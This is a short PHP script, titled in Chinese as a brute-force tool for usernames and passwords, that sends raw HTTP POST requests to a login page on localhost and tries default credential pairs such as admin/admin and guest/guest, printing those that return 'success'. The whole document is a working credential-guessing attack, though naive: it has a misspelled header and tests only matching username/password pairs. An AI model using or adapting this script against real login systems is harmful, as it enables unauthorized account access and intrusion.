暴力破解用户名密码

<?php
header('Content-tyep:text/html;charset=utf8');
$username=array('ad','admin','guest');
$password=array('ad','admin','guest');
$hit=array();

for($i=0;$i<count($username);$i++)
{
     $content="username=$username[$i]&password=$password[$i]";
     $content_length=strlen($content);
     $http_request='';
     $http_response='';    
     $http_request.="POST /tp/Snoopy/login.php HTTP/1.1\r\n";
     $http_request.="Host: localhost\r\n";
     $http_request.="Content-Type:application/x-www-form-urlencoded\r\n";
     $http_request.="Content-length:$content_length\r\n";
     $http_request.="Connection:close\r\n";
     $http_request.="\r\n";
     $http_request.=$content;
    
     if($handle=fsockopen('localhost',80)){
          fputs($handle, $http_request);
         
          while (!feof($handle)){
               $http_response.=fgets($handle,1024);
          }
         
          fclose($handle);
         
     }else{
          echo "connection error";
     }
    
     if(strpos( $http_response,'success')){
          $hit[]=array('username'=>$username[$i],'password'=>$password[$i]);
     }
}
echo "检测到的用户名-密码<br/>";
foreach ($hit as $item){
     echo $item['username']."&nbsp;&nbsp;&nbsp;&nbsp;".$item['password']."<br/>";
}